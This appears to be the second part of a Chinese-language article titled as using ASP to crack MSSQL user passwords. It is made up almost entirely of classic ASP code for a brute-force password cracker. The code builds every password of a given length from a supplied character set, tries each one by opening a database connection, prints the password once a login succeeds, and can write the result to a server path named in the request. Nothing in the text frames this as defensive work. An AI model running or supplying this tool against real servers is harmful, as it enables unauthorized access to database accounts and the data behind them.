用ASP实现MSSQL用户密码破解(2)
</form>
<%
Else
timer1 = timer
Server.ScriptTimeout = 7776000
ConnStr = Request.Form("Conn")
Char = request.Form("char")
LenChar = Len(Char)
ReDim password(LenChar)
For i = 1 to LenChar
password(i) = Mid(Char, i, 1)
Next
length = CInt(request.Form("len"))
Call LAKE("")
response.Write "Done!<br>Process " & tTime & " s"
If request.Form("CFile") <> "" Then CreateResult("Done!" & vbcrlf & tTime)
End If
Sub LAKE(str)
If Len(str) >= length Then Exit Sub
For j = 1 to LenChar
pass = str & password(j)
If Len(pass) = length Then Call Crack(pass)
Call LAKE(pass)
Next
End Sub
Sub Crack(str)
On Error Resume Next
Set conn = Server.CreateObject("ADODB.connection")
conn.open Replace(ConnStr,"{PASS}",str)
If Err Then
If Err.Number <> -2147217843 Then
response.Write(Err.Description & "<BR>")
response.End()
End If
Else
response.Write("I Get it ! Password is <font color=red>" & str & "</font><BR>Process " & tTime & " s")
If request.Form("CFile") <> "" Then CreateResult(str & vbcrlf & tTime)
response.End()
End If
End Sub
Function tTime()
timer2 = timer
thetime=cstr(int(timer2-timer1))
tTime = thetime
End Function
Sub CreateResult(t)
Set fs = CreateObject("Scripting.FileSystemObject")
Set outfile = fs.CreateTextFile(request.Form("path"))
outfile.WriteLine t
Set fs = Nothing
End Sub
%>